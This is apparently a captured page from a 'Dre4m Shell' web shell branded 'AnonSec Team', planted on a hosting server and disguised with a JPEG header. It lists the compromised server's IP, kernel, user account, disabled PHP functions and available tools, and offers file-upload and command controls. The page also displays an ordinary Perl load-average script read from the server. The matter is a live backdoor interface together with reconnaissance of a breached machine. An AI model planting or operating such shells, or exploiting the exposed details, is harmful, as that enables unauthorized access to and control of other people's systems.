ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.141.47.95
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/dedrads/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/dedrads/server-load
#!/usr/bin/perl
# encoding: utf-8
# author: Kyle Yetter <kyle@ohboyohboyohboy.org>
# created on: August 13, 2011


use strict;
use warnings;
use Getopt::Long;
use File::Basename;

our $VERSION = "1.0";

our $RED    = 31;
our $GREEN  = 32;
our $YELLOW = 33;
our $BLEACH = 0;

sub usage {
  my $status = shift || 0;
  my $name   = basename( $0 );
  my $usage  =
    qq(
    | NAME
    |   $name v$VERSION
    |
    | USAGE
    |   $name [ --help | --version | --bleach ]
    |
    |   Print the server's load averages normalized against the number
    |   of processors on the server.
    |
    | OPTIONS
    |   -b, --bleach   Do not use ANSI color escapes in the output
    |   -h, --help     Show this help message
    |   -v, --version  Print the program's version number and exit
    |
    );
  $usage =~ s/^\n|\n\s*$//g;
  $usage =~ s/^\s*\| ?//mg;

  print $usage, "\n";
  exit 0;
}

sub c {
  my ( $str, $color ) = @_;
  unless( $BLEACH ) {
    $str = "\e[${color}m$str\e[0m";
  }
  return $str;
}


GetOptions(
  "b|bleach"  => \$BLEACH,
  "h|help"    => \&usage,
  "v|version" => sub { print "$VERSION\n"; exit( 0 ); }
);


my $cpu_count = 0;
open( PROC_INFO, '/proc/cpuinfo' );
while ( <PROC_INFO> ) {
  $cpu_count += 1 if /^processor\b/;
}
close( PROC_INFO );

$cpu_count = 1 unless $cpu_count;


open( LOAD_AVG, '/proc/loadavg' );
my @load_avg = ( split( /\s+/, <LOAD_AVG> ) )[ 0..2 ];
close( LOAD_AVG );

my @normalized = map { $_ / $cpu_count; } @load_avg;
my @titles = qw( 1m 5m 15m );
my @colors = map {
  my $val = $_;
  my $color;
  if ( $val > 1.0 ) {
    $color = $RED;
  } elsif ( $val > 0.7 ) {
    $color = $YELLOW;
  } else {
    $color = $GREEN;
  }
  $color;
} @normalized;

my $max = ( sort @load_avg )[ 2 ];
my $w   = length( sprintf( '%.1f', $max ) ) + 1;
if ( $w < 4 ) { $w = 4; }

my $f_mask = "%$w.1f";
my $s_mask = "%${w}s";

print( "            ", join( "  ", map { c( sprintf( $s_mask, $_ ), 4 ); } @titles ), "\n" );
print( "Actual:     ", join( "  ", map { c( sprintf( $f_mask, $load_avg[ $_ ] ), $colors[ $_ ] ); } 0 ... 2 ), "\n" );
print( "Normalized: ", join( "  ", map { c( sprintf( $f_mask, $normalized[ $_ ] ), $colors[ $_ ] ); } 0 ... 2 ), "\n" );

Anon7 - 2022
AnonSec Team